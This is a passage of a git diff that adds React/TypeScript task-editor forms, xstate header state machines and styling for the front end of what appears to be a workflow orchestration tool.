disposable.dispose(); + }} + defaultLanguage={language} + options={{ + ...smallEditorDefaultOptions, + ...(autoSizeBox && { scrollBeyondLastLine: false }), + ...additionalEditorOptions, + }} + value={taskRef?.current?.expression || ""} + {...restOfProps} + /> + ); +}; + +export default SwitchCodeBlock; diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/SwitchTaskForm/SwitchOperatorForm.tsx b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/SwitchTaskForm/SwitchOperatorForm.tsx new file mode 100644 index 0000000..dbc4ebb --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/SwitchTaskForm/SwitchOperatorForm.tsx @@ -0,0 +1,230 @@ +import { Box, FormControlLabel, Grid } from "@mui/material"; +import { useSelector } from "@xstate/react"; +import MuiCheckbox from "components/ui/MuiCheckbox"; +import RadioButtonGroup from "components/ui/inputs/RadioButtonGroup"; +import ConfirmChoiceDialog from "components/ui/dialogs/ConfirmChoiceDialog"; +import ConductorInput from "components/ui/inputs/ConductorInput"; +import { ConductorFlatMapFormBase } from "components/FlatMapForm/ConductorFlatMapForm"; +import _path from "lodash/fp/path"; +import _isEmpty from "lodash/isEmpty"; +import _nth from "lodash/nth"; +import { useCallback, useContext, useState } from "react"; +import { colors } from "theme/tokens/variables"; +import { SwitchTaskDef } from "types/TaskType"; +import { filterOptionByEvaluatorType } from "utils/deprecatedRadioFilter"; +import { updateField } from "utils/fieldHelpers"; +import { TaskFormContext } from "../../state"; +import { Optional } from "../OptionalFieldForm"; +import TaskFormSection from "../TaskFormSection"; +import { TaskFormProps } from "../types"; +import { useGetSetHandler } from "../useGetSetHandler"; +import SwitchCodeBlock from "./SwitchCodeBlock"; + +const EXPRESSION_PATH = "expression"; +const DECISION_CASES_PATH = "decisionCases"; + +export const SwitchOperatorForm = (props: TaskFormProps) => { + const { task, onChange } = props; + const { formTaskActor } = useContext(TaskFormContext); + + const [desicionCases, handleDesicionCases] = useGetSetHandler( + props, + DECISION_CASES_PATH, + ); + + const maybeSelectedBranch = useSelector( + formTaskActor!, + (state) => state.context.maybeSelectedSwitchBranch, + ); + + const firstInputParameterKey = _nth( + Object.keys(task?.inputParameters ?? {}), + 0, + ); + + const [showConfirmOverrideDialog, setShowConfirmOverrideDialog] = + useState(false); + + const radioOptions = filterOptionByEvaluatorType(task?.evaluatorType); + const DEFAULT_EXPRESSION = `(function () { + switch ($.${firstInputParameterKey ?? "switchCaseValue"}) { + case "1": + return "switch_case"; + case "2": + return "switch_case_1"; + case "3": + return "switch_case_2" + } + }())`; + + const handleApplySampleScript = useCallback(() => { + onChange({ + ...task, + expression: DEFAULT_EXPRESSION, + ...(_isEmpty(task?.decisionCases) + ? { + decisionCases: { + switch_case: [], + switch_case_1: [], + switch_case_2: [], + }, + } + : {}), + }); + }, [task, onChange, DEFAULT_EXPRESSION]); + + const isSingleInputParam = + Object.keys({ ...task.inputParameters }).length === 1; + + const handleUpdateValueParam = (value: string) => { + if (isSingleInputParam) { + const existingParamValue = + (task.expression && task.inputParameters?.[task.expression]) || ""; + onChange({ + ...task, + expression: value, + inputParameters: { + [value]: existingParamValue, + }, + }); + } else { + onChange({ ...task, expression: value }); + } + }; + const onInputParameterChange = (newValue: Record) => + onChange(updateField("inputParameters", newValue, task)); + + return ( + + + + + + + + + + + + { + onChange(updateField("evaluatorType", value, task)); + }} + /> + } + label="Evaluate:" + sx={{ + marginLeft: 0, + "& .MuiFormControlLabel-label": { + fontWeight: 600, + color: colors.gray07, + }, + }} + /> + + + {["javascript", "graaljs"].includes( + task.evaluatorType as string, + ) ? ( + <> + + setShowConfirmOverrideDialog(true)} + control={ + + } + label={"Use sample script"} + style={{ margin: 0 }} + /> + + } + onChange={onChange} + /> + + ) : ( + + )} + + + + + + + + + + + + + + + + + {showConfirmOverrideDialog && ( + { + if (confirmed) { + handleApplySampleScript(); + } + setShowConfirmOverrideDialog(false); + }} + message={ + "Applying the sample script will overwrite any existing script. Are you sure you want to proceed?" + } + /> + )} + + ); +}; diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/SwitchTaskForm/index.ts b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/SwitchTaskForm/index.ts new file mode 100644 index 0000000..7a23dbe --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/SwitchTaskForm/index.ts @@ -0,0 +1 @@ +export * from "./SwitchOperatorForm"; diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/TaskFormFooter.tsx b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/TaskFormFooter.tsx new file mode 100644 index 0000000..4ef3489 --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/TaskFormFooter.tsx @@ -0,0 +1,196 @@ +import { useMemo } from "react"; +import { Box, FormControlLabel, Switch, Grid } from "@mui/material"; +import { colors } from "theme/tokens/variables"; +import JSONField from "./JSONField"; +import ArrayForm from "./ArrayForm"; +import { Input, Dropdown } from "../../../../../components"; + +import TaskFormSection from "./TaskFormSection"; +import MuiTypography from "components/ui/MuiTypography"; + +type Props = { + selectedNode: any; + onChange: any; +}; + +const TaskFormFooter = ({ selectedNode, onChange }: Props) => { + const currentTask = useMemo(() => selectedNode?.data?.task, [selectedNode]); + return ( + + + Additional Parameters + + + + + + + + } + label="Optional" + /> + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + ); +}; + +export default TaskFormFooter; diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/TaskFormHeader/TaskFormHeader.tsx b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/TaskFormHeader/TaskFormHeader.tsx new file mode 100644 index 0000000..89756bf --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/TaskFormHeader/TaskFormHeader.tsx @@ -0,0 +1,54 @@ +import { Paper } from "@mui/material"; +import { useSelector } from "@xstate/react"; +import { FunctionComponent } from "react"; +import { ActorRef } from "xstate"; + +import { TaskType } from "types"; +import { TaskHeaderMachineEvents } from "./state/types"; +import { TaskFormHeaderSimple } from "./TaskFormHeaderSimple"; +import { TaskFormHeaderTasks } from "./TaskFormHeaderTasks"; +import { featureFlags, FEATURES } from "utils/flags"; + +export interface TaskFormHeaderProps { + taskFormHeaderActor: ActorRef; +} + +const showServiceTemplateSelector = featureFlags.isEnabled( + FEATURES.REMOTE_SERVICES, +); +// TODO we should probably have two different components when for simple and one for the other... Two many ifs +const TaskFormHeader: FunctionComponent = ({ + taskFormHeaderActor, +}) => { + const taskType = useSelector( + taskFormHeaderActor, + (state) => state.context.taskType, + ); + + const tasksArrayWithTaskDropdown = [ + TaskType.SIMPLE, + TaskType.HUMAN, + ...(showServiceTemplateSelector ? [TaskType.HTTP, TaskType.GRPC] : []), + ]; + + return ( + theme.palette.customBackground.form, + }} + > + {tasksArrayWithTaskDropdown.includes(taskType) ? ( + + ) : ( + + )} + + ); +}; + +export default TaskFormHeader; diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/TaskFormHeader/TaskFormHeaderSimple.tsx b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/TaskFormHeader/TaskFormHeaderSimple.tsx new file mode 100644 index 0000000..89fd207 --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/TaskFormHeader/TaskFormHeaderSimple.tsx @@ -0,0 +1,129 @@ +import { Grid, Paper } from "@mui/material"; +import { useSelector } from "@xstate/react"; +import { FunctionComponent } from "react"; +import { ActorRef } from "xstate"; + +import { Button } from "components"; +import ConductorInput from "components/ui/inputs/ConductorInput"; +import SimpleTaskNameInput from "../SimpleTaskNameInput"; +import { + TaskFormHeaderEventTypes, + TaskHeaderMachineEvents, +} from "./state/types"; + +export interface TaskFormHeaderSimpleProps { + taskFormHeaderActor: ActorRef; +} + +export const TaskFormHeaderSimple: FunctionComponent< + TaskFormHeaderSimpleProps +> = ({ taskFormHeaderActor }) => { + const taskName = useSelector( + taskFormHeaderActor, + (state) => state.context.name, + ); + const taskReferenceName = useSelector( + taskFormHeaderActor, + (state) => state.context.taskReferenceName, + ); + + const send = taskFormHeaderActor.send; + + const handleGenerateNameTaskReferenceName = () => { + send({ + type: TaskFormHeaderEventTypes.GENERATE_TASK_REFERENCE_NAME, + }); + }; + const handleChangeName = (value: string) => { + send({ + type: TaskFormHeaderEventTypes.CHANGE_NAME_VALUE, + value, + }); + }; + + const handleChangeTaskReferenceName = (value: string) => { + send({ + type: TaskFormHeaderEventTypes.CHANGE_TASK_REFERENCE_VALUE, + value, + }); + }; + + const triggerSuccessEvent = () => { + send({ + type: TaskFormHeaderEventTypes.TASK_CREATED_SUCCESSFULLY, + }); + }; + + return ( + theme.palette.customBackground.form, + }} + > + + + + + + { + handleChangeTaskReferenceName(value); + }} + onFocus={() => + send({ type: TaskFormHeaderEventTypes.START_EDITING_VALUES }) + } + onBlur={() => + send({ type: TaskFormHeaderEventTypes.STOP_EDITING_VALUES }) + } + /> + + + + + + + ); +}; diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/TaskFormHeader/TaskFormHeaderTasks.tsx b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/TaskFormHeader/TaskFormHeaderTasks.tsx new file mode 100644 index 0000000..452c9af --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/TaskFormHeader/TaskFormHeaderTasks.tsx @@ -0,0 +1,109 @@ +import { Grid } from "@mui/material"; +import { Theme } from "@mui/material/styles"; +import useMediaQuery from "@mui/material/useMediaQuery"; +import { useActor, useSelector } from "@xstate/react"; +import { FunctionComponent } from "react"; +import { ActorRef } from "xstate"; + +import { Button } from "components"; +import ConductorInput from "components/ui/inputs/ConductorInput"; +import { + TaskFormHeaderEventTypes, + TaskHeaderMachineEvents, +} from "./state/types"; + +export interface TaskFormHeaderTasksProps { + taskFormHeaderActor: ActorRef; +} +export const TaskFormHeaderTasks: FunctionComponent< + TaskFormHeaderTasksProps +> = ({ taskFormHeaderActor }) => { + const isMobileWidth = useMediaQuery((theme: Theme) => + theme.breakpoints.down("sm"), + ); + + const taskName = useSelector( + taskFormHeaderActor, + (state) => state.context.name, + ); + const taskReferenceName = useSelector( + taskFormHeaderActor, + (state) => state.context.taskReferenceName, + ); + + const [, send] = useActor(taskFormHeaderActor); + + const handleChangeName = (value: string) => { + send({ + type: TaskFormHeaderEventTypes.CHANGE_NAME_VALUE, + value, + }); + }; + const handleGenerateNameTaskReferenceName = () => { + send({ + type: TaskFormHeaderEventTypes.GENERATE_TASK_REFERENCE_NAME, + }); + }; + + const handleChangeTaskReferenceName = (value: string) => { + send({ + type: TaskFormHeaderEventTypes.CHANGE_TASK_REFERENCE_VALUE, + value, + }); + }; + + return ( + + + { + handleChangeName(value); + }} + onFocus={() => + send({ type: TaskFormHeaderEventTypes.START_EDITING_VALUES }) + } + onBlur={() => + send({ type: TaskFormHeaderEventTypes.STOP_EDITING_VALUES }) + } + /> + + + { + handleChangeTaskReferenceName(value); + }} + onFocus={() => + send({ type: TaskFormHeaderEventTypes.START_EDITING_VALUES }) + } + onBlur={() => + send({ type: TaskFormHeaderEventTypes.STOP_EDITING_VALUES }) + } + /> + + + + + + ); +}; diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/TaskFormHeader/state/actions.ts b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/TaskFormHeader/state/actions.ts new file mode 100644 index 0000000..6676232 --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/TaskFormHeader/state/actions.ts @@ -0,0 +1,83 @@ +import { assign, sendParent } from "xstate"; +import { cancel } from "xstate/lib/actions"; +import { + TaskFormHeaderMachineContext, + ChangeNameValueEvent, + ValuesUpdatedEvent, + StartEditingValuesEvent, + StopEditingValuesEvent, +} from "./types"; +import { FormMachineActionTypes } from "pages/definition/EditorPanel/TaskFormTab/state/types"; + +export const persistNameChanges = assign< + TaskFormHeaderMachineContext, + ChangeNameValueEvent +>({ + name: (_context, { value }) => value, +}); + +export const persistTaskReferenceNameChanges = assign< + TaskFormHeaderMachineContext, + ChangeNameValueEvent +>({ + taskReferenceName: (_context, { value }) => value, +}); + +export const persistChanges = assign< + TaskFormHeaderMachineContext, + ValuesUpdatedEvent +>({ + taskReferenceName: (_context, { taskReferenceName }) => taskReferenceName, + name: (_context, { name }) => name, + taskType: (_context, { taskType }) => taskType, +}); + +export const syncWithParent = sendParent( + ({ name, taskReferenceName }: TaskFormHeaderMachineContext) => ({ + type: FormMachineActionTypes.UPDATE_TASK, + taskChanges: { name, taskReferenceName }, + }), +); + +const referenceNameGenerator = ( + name: string, + taskReferenceName: string, + suffix: string, +) => { + if (taskReferenceName === `${name}_ref`) { + return `${name}_${suffix}_ref`; + } else { + return `${name}_ref`; + } +}; + +export const generateTaskReferenceAndName = assign< + TaskFormHeaderMachineContext, + any +>(({ name, taskReferenceName, taskType }) => { + const suffix = Math.random().toString(36).substring(2, 5); + const taskName = name ? name : `${taskType.toLowerCase()}`; + const refName = name + ? referenceNameGenerator(name, taskReferenceName, suffix) + : `${taskType.toLowerCase()}_ref`; + return { + name: taskName, + taskReferenceName: refName, + }; +}); + +export const cancelSyncWithParent = cancel("sync_val_with_parent"); + +export const startEditingValues = assign< + TaskFormHeaderMachineContext, + StartEditingValuesEvent +>({ + isEditingValues: true, +}); + +export const stopEditingValues = assign< + TaskFormHeaderMachineContext, + StopEditingValuesEvent +>({ + isEditingValues: false, +}); diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/TaskFormHeader/state/hook.ts b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/TaskFormHeader/state/hook.ts new file mode 100644 index 0000000..c369cfe --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/TaskFormHeader/state/hook.ts @@ -0,0 +1,35 @@ +import { ActorRef } from "xstate"; +import { useSelector } from "@xstate/react"; +import { WorkflowMetadataEvents } from "pages/definition/WorkflowMetadata/state"; + +export const useWorkflowMetadataEditorActor = ( + metadataEditorActor: ActorRef, +) => { + const [ + inputParametersActor, + outputParametersActors, + restartableActors, + timeoutSecondsActors, + timeoutPolicyActors, + failureWorkflowActors, + ] = useSelector( + metadataEditorActor, + (state) => state.context.editableFieldActors, + ); + + const isReady = useSelector(metadataEditorActor, (state) => + state.hasTag("editingEnabled"), + ); + + return [ + { + inputParametersActor, + outputParametersActors, + restartableActors, + timeoutSecondsActors, + timeoutPolicyActors, + failureWorkflowActors, + isReady, + }, + ]; +}; diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/TaskFormHeader/state/index.ts b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/TaskFormHeader/state/index.ts new file mode 100644 index 0000000..4ef7990 --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/TaskFormHeader/state/index.ts @@ -0,0 +1,3 @@ +export * from "./types"; +export * from "./machine"; +export * from "./hook"; diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/TaskFormHeader/state/machine.ts b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/TaskFormHeader/state/machine.ts new file mode 100644 index 0000000..b495333 --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/TaskFormHeader/state/machine.ts @@ -0,0 +1,58 @@ +import { TaskType } from "types"; +import { createMachine } from "xstate"; +import * as actions from "./actions"; +import { + TaskFormHeaderMachineContext, + TaskFormHeaderEventTypes, + TaskHeaderMachineEvents, +} from "./types"; + +export const taskFormHeaderMachine = createMachine< + TaskFormHeaderMachineContext, + TaskHeaderMachineEvents +>( + { + id: "taskFormHeaderMachine", + initial: "focused", + predictableActionArguments: true, + context: { + name: "", + taskReferenceName: "", + taskType: TaskType.SIMPLE, + }, + on: { + [TaskFormHeaderEventTypes.VALUES_UPDATED]: { + // Only persist changes if not typing in the task reference name or name, + // otherwise there is a race condition with + // CHANGE_TASK_REFERENCE_VALUE or CHANGE_NAME_VALUE + cond: (ctx) => !ctx.isEditingValues, + actions: ["persistChanges"], + }, + [TaskFormHeaderEventTypes.TASK_CREATED_SUCCESSFULLY]: {}, + }, + states: { + focused: { + on: { + [TaskFormHeaderEventTypes.START_EDITING_VALUES]: { + actions: ["startEditingValues"], + }, + [TaskFormHeaderEventTypes.STOP_EDITING_VALUES]: { + actions: ["stopEditingValues"], + }, + [TaskFormHeaderEventTypes.CHANGE_TASK_REFERENCE_VALUE]: { + actions: ["persistTaskReferenceNameChanges", "syncWithParent"], + }, + [TaskFormHeaderEventTypes.CHANGE_NAME_VALUE]: { + actions: ["persistNameChanges", "syncWithParent"], + }, + [TaskFormHeaderEventTypes.GENERATE_TASK_REFERENCE_NAME]: { + actions: ["generateTaskReferenceAndName", "syncWithParent"], + }, + }, + }, + }, + }, + { + actions: actions as any, + }, +); diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/TaskFormHeader/state/types.ts b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/TaskFormHeader/state/types.ts new file mode 100644 index 0000000..0d852c8 --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/TaskFormHeader/state/types.ts @@ -0,0 +1,58 @@ +import { TaskType } from "types"; + +export interface TaskFormHeaderMachineContext { + name: string; + taskReferenceName: string; + taskType: TaskType; + isEditingValues?: boolean; +} + +export enum TaskFormHeaderEventTypes { + CHANGE_NAME_VALUE = "CHANGE_NAME_VALUE", + CHANGE_TASK_REFERENCE_VALUE = "CHANGE_TASK_REFERENCE_VALUE", + VALUES_UPDATED = "VALUES_UPDATED", + GENERATE_TASK_REFERENCE_NAME = "GENERATE_TASK_REFERENCE_NAME", + TASK_CREATED_SUCCESSFULLY = "TASK_CREATED_SUCCESSFULLY", + START_EDITING_VALUES = "START_EDITING_VALUES", + STOP_EDITING_VALUES = "STOP_EDITING_VALUES", +} + +export type StartEditingValuesEvent = { + type: TaskFormHeaderEventTypes.START_EDITING_VALUES; +}; +export type StopEditingValuesEvent = { + type: TaskFormHeaderEventTypes.STOP_EDITING_VALUES; +}; +export type ChangeNameValueEvent = { + type: TaskFormHeaderEventTypes.CHANGE_NAME_VALUE; + value: string; +}; + +export type ChangeTaskReferenceNameValueEvent = { + type: TaskFormHeaderEventTypes.CHANGE_TASK_REFERENCE_VALUE; + value: string; +}; + +export type ValuesUpdatedEvent = { + type: TaskFormHeaderEventTypes.VALUES_UPDATED; + taskType: TaskType; + name: string; + taskReferenceName: string; +}; + +export type GenerateTaskNameReferenceNameEvent = { + type: TaskFormHeaderEventTypes.GENERATE_TASK_REFERENCE_NAME; +}; + +export type TaskCreatedSucceffullyEvent = { + type: TaskFormHeaderEventTypes.TASK_CREATED_SUCCESSFULLY; +}; + +export type TaskHeaderMachineEvents = + | ChangeNameValueEvent + | ChangeTaskReferenceNameValueEvent + | GenerateTaskNameReferenceNameEvent + | ValuesUpdatedEvent + | TaskCreatedSucceffullyEvent + | StartEditingValuesEvent + | StopEditingValuesEvent; diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/TaskFormSection.tsx b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/TaskFormSection.tsx new file mode 100644 index 0000000..1ba8e92 --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/TaskFormSection.tsx @@ -0,0 +1,168 @@ +import { Box } from "@mui/material"; +import Accordion, { AccordionProps } from "@mui/material/Accordion"; +import AccordionDetails from "@mui/material/AccordionDetails"; +import AccordionSummary from "@mui/material/AccordionSummary"; +import { CaretDown } from "@phosphor-icons/react"; +import MuiTypography from "components/ui/MuiTypography"; +import _isString from "lodash/isString"; +import React, { useContext } from "react"; +import { ColorModeContext } from "theme/material/ColorModeContext"; + +type TaskFormSectionProps = { + title?: React.ReactNode; + children: React.ReactNode; + collapsible?: boolean; + accordionAdditionalProps?: Partial; +}; + +type TaskFormSectionAccordionProps = { + title?: React.ReactNode; + collapsible?: boolean; + accordionAdditionalProps?: Partial; + children?: React.ReactNode; +}; + +const MaybeWrappedTitle = ({ title }: { title: React.ReactNode }) => + _isString(title) ? ( + + {title} + + ) : ( + <>{title} + ); + +const TaskFormAccordion = ({ + title, + accordionAdditionalProps, + children, +}: TaskFormSectionAccordionProps) => { + const { mode } = useContext(ColorModeContext); + + const ACCORDION_HEIGHT = 40; + + const keyTitle = _isString(title) ? title : ""; + + return ( + + + } + aria-controls={`${keyTitle}-content`} + id={`${keyTitle}-header`} + > + {title ? : null} + + + {children} + + + ); +}; + +const TaskFormSection = ({ + title, + children, + collapsible = false, + accordionAdditionalProps = {}, +}: TaskFormSectionProps) => { + return collapsible ? ( + + + {children} + + + ) : ( + + {title ? : null} + {children} + + ); +}; + +export default TaskFormSection; diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/TaskFormStyles.ts b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/TaskFormStyles.ts new file mode 100644 index 0000000..bf1e1cd --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/TaskFormStyles.ts @@ -0,0 +1,99 @@ +import sharedStyles from "pages/styles"; + +// @ts-ignore-line +export const style = { + ...sharedStyles, + paper: { + margin: "20px", + padding: "20px", + }, + name: { + width: "50%", + }, + submitButton: { + float: "right", + }, + fields: { + display: "flex", + flexDirection: "column", + gap: "15px", + }, + controls: { + marginLeft: "15px", + marginTop: "20px", + height: "calc(100% - 83px)", + overflowY: "scroll", + width: "calc(100% - 15px)", + overflowX: "hidden", + paddingBottom: "60px", + }, + monaco: { + padding: "10px", + borderColor: "rgba(128, 128, 128, 0.2)", + borderStyle: "solid", + borderWidth: "1px", + borderRadius: "4px", + backgroundColor: "rgb(255, 255, 255)", + "&:focus-within": { + margin: "-2px", + borderColor: "rgb(73, 105, 228)", + borderStyle: "solid", + borderWidth: "2px", + }, + }, + labelText: { + position: "relative", + fontSize: "13px", + transform: "none", + fontWeight: 600, + paddingLeft: 0, + paddingBottom: "8px", + }, + inputBox: { + marginTop: "10px", + "& textarea": { + minWidth: "368px", + fontFamily: "monospace", + }, + "& input": { + minWidth: "368px", + }, + "& label": {}, + }, + roBox: { + marginTop: "10px", + "& .MuiOutlinedInput-root": { + background: "transparent", + border: "none", + }, + "& fieldset": { + border: "none", + }, + "& textarea": { + minWidth: "450px", + minHeight: "140px", + fontFamily: "monospace", + overflow: "none", + }, + "& input": { + minWidth: "368px", + }, + "& label": {}, + }, + cronApply: { + marginTop: "-12px", + "& svg": { + fontSize: "18px", + }, + }, + toggleButton: { + marginTop: "-12px", + "& svg": { + fontSize: "22px", + }, + }, + cronSample: { + fontSize: "12px", + height: "50px", + }, +}; diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/TerminateOperatorForm.tsx b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/TerminateOperatorForm.tsx new file mode 100644 index 0000000..a822fcc --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/TerminateOperatorForm.tsx @@ -0,0 +1,78 @@ +import { Grid, Stack } from "@mui/material"; +import { ConductorAutoComplete } from "components/ui/inputs"; +import { ConductorAutocompleteVariables } from "components/FlatMapForm/ConductorAutocompleteVariables"; +import { ConductorFlatMapFormBase } from "components/FlatMapForm/ConductorFlatMapForm"; +import { path as _path } from "lodash/fp"; +import { updateField } from "utils/fieldHelpers"; +import TaskFormSection from "./TaskFormSection"; +import { TaskFormProps } from "./types"; +import { useGetSetHandler } from "./useGetSetHandler"; + +const terminationStatusPath = "inputParameters.terminationStatus"; +const terminationReasonPath = "inputParameters.terminationReason"; +const workflowOutputPath = "inputParameters.workflowOutput"; + +export const TerminateOperatorForm = (props: TaskFormProps) => { + const { task, onChange } = props; + + const [terminationReason, setTerminationReason] = useGetSetHandler( + props, + terminationReasonPath, + ); + + return ( + + + + + + onChange(updateField(terminationStatusPath, value, task)) + } + /> + + + + + + + + + + + onChange(updateField(workflowOutputPath, value, task)) + } + /> + + + + + + ); +}; diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/TerminateWorkflowForm.tsx b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/TerminateWorkflowForm.tsx new file mode 100644 index 0000000..e2de20a --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/TerminateWorkflowForm.tsx @@ -0,0 +1,80 @@ +import { Box, FormControlLabel, Grid } from "@mui/material"; +import MuiCheckbox from "components/ui/MuiCheckbox"; +import { AutocompleteArrayField } from "components/FlatMapForm/ConductorAutocompleteArrayField"; +import { ConductorAutocompleteVariables } from "components/FlatMapForm/ConductorAutocompleteVariables"; +import { TaskType } from "types/common"; +import { Optional } from "./OptionalFieldForm"; +import TaskFormSection from "./TaskFormSection"; +import { TaskFormProps } from "./types"; +import { useGetSetHandler } from "./useGetSetHandler"; + +const workFlowId = "inputParameters.workflowId"; +const terminationReasonPath = "inputParameters.terminationReason"; +const triggerFailureWorkflowPath = "inputParameters.triggerFailureWorkflow"; + +export const TerminateWorkflowForm = (props: TaskFormProps) => { + const { task, onChange } = props; + const triggerHandleChange = () => { + setTriggerFailureWorkflow(!triggerFailureWorkflow); + }; + + const [workFlowIds, handleWorkFlowIds] = useGetSetHandler(props, workFlowId); + + const [terminationReason, setTerminationReason] = useGetSetHandler( + props, + terminationReasonPath, + ); + + const [triggerFailureWorkflow, setTriggerFailureWorkflow] = useGetSetHandler( + props, + triggerFailureWorkflowPath, + ); + + return ( + + + + + + + + + + + + + + + + + + } + label={"Trigger Failure Workflow"} + /> + + + + + + + + ); +}; diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/TestTaskButton/OpenTestTaskButton.tsx b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/TestTaskButton/OpenTestTaskButton.tsx new file mode 100644 index 0000000..a43153d --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/TestTaskButton/OpenTestTaskButton.tsx @@ -0,0 +1,35 @@ +import { useState } from "react"; +import { Button } from "@mui/material"; +import { TestTaskButton } from "./TestTaskButton"; +import { OpenTestTaskButtonProps } from "types/TestTaskTypes"; +import { RocketLaunch } from "@mui/icons-material"; + +export const OpenTestTaskButton = ({ + task, + maxHeight, + disabled = false, + showForm = true, + tasksList = [], +}: OpenTestTaskButtonProps) => { + const [open, setOpen] = useState(false); + return open ? ( + setOpen(false)} + task={task} + showForm={showForm} + maxHeight={maxHeight} + tasksList={tasksList} + /> + ) : ( + + ); +}; diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/TestTaskButton/TestTaskButton.tsx b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/TestTaskButton/TestTaskButton.tsx new file mode 100644 index 0000000..300b24a --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/TestTaskButton/TestTaskButton.tsx @@ -0,0 +1,75 @@ +import { TestTask } from "components/features/testTask"; +import { useInterpret, useSelector } from "@xstate/react"; +import { TestTaskButtonMachineStates, TestTaskMachine } from "./state"; +import { useAuthHeaders } from "utils/query"; +import { useTestTaskButtonMachine } from "./state/hook"; +import { useAuth } from "components/features/auth"; +import { useContext } from "react"; +import { MessageContext } from "components/providers/messageContext"; +import { TestTaskButtonProps } from "types/TestTaskTypes"; + +export const TestTaskButton = ({ + task, + maxHeight, + onDismiss, + showForm, + tasksList, +}: TestTaskButtonProps) => { + const authHeaders = useAuthHeaders(); + const { conductorUser } = useAuth(); + const { setMessage } = useContext(MessageContext); + + const testTaskActor = useInterpret(TestTaskMachine, { + ...(process.env.NODE_ENV === "development" ? { devTools: true } : {}), + context: { + authHeaders, + user: conductorUser, + originalTask: task, + taskChanges: task?.inputParameters, + tasksList: tasksList, + }, + actions: { + setErrorMessage: (__, data: any) => { + setMessage({ + text: data?.data?.message, + severity: "error", + }); + }, + }, + }); + + const [ + { taskChanges, taskDomain, testExecutionId, testedTaskExecutionResult }, + { setInputParameters, setTaskDomain, handleRunTestTask }, + ] = useTestTaskButtonMachine(testTaskActor); + + const isInProgress = useSelector(testTaskActor, (state) => { + return ( + state.matches([ + TestTaskButtonMachineStates.RUN_TEST_TASK, + "runTestTask", + ]) || + state.matches([ + TestTaskButtonMachineStates.RUN_TEST_TASK, + "pollForExecutionResult", + ]) + ); + }); + + return ( + setInputParameters(value)} + domain={taskDomain} + onChangeDomain={(value) => setTaskDomain(value)} + value={taskChanges} + maxHeight={maxHeight} + handleRunTestTask={handleRunTestTask} + testExecutionId={testExecutionId} + onDismiss={onDismiss} + testedTaskExecutionResult={testedTaskExecutionResult} + isInProgress={isInProgress} + showForm={showForm} + /> + ); +}; diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/TestTaskButton/index.ts b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/TestTaskButton/index.ts new file mode 100644 index 0000000..3e17c5a --- /dev/null +++ b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/TestTaskButton/index.ts @@ -0,0 +1,3 @@ +import { TestTaskButton } from "./TestTaskButton"; + +export default TestTaskButton; diff --git a/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/TestTaskButton/state/actions.ts b/ui-next/src/pages/definition/EditorPanel/TaskFormTab/forms/TestTaskButton/state/actions.ts new file mode 100644 index 0000000..8c4fae5 --- /dev/null +++ 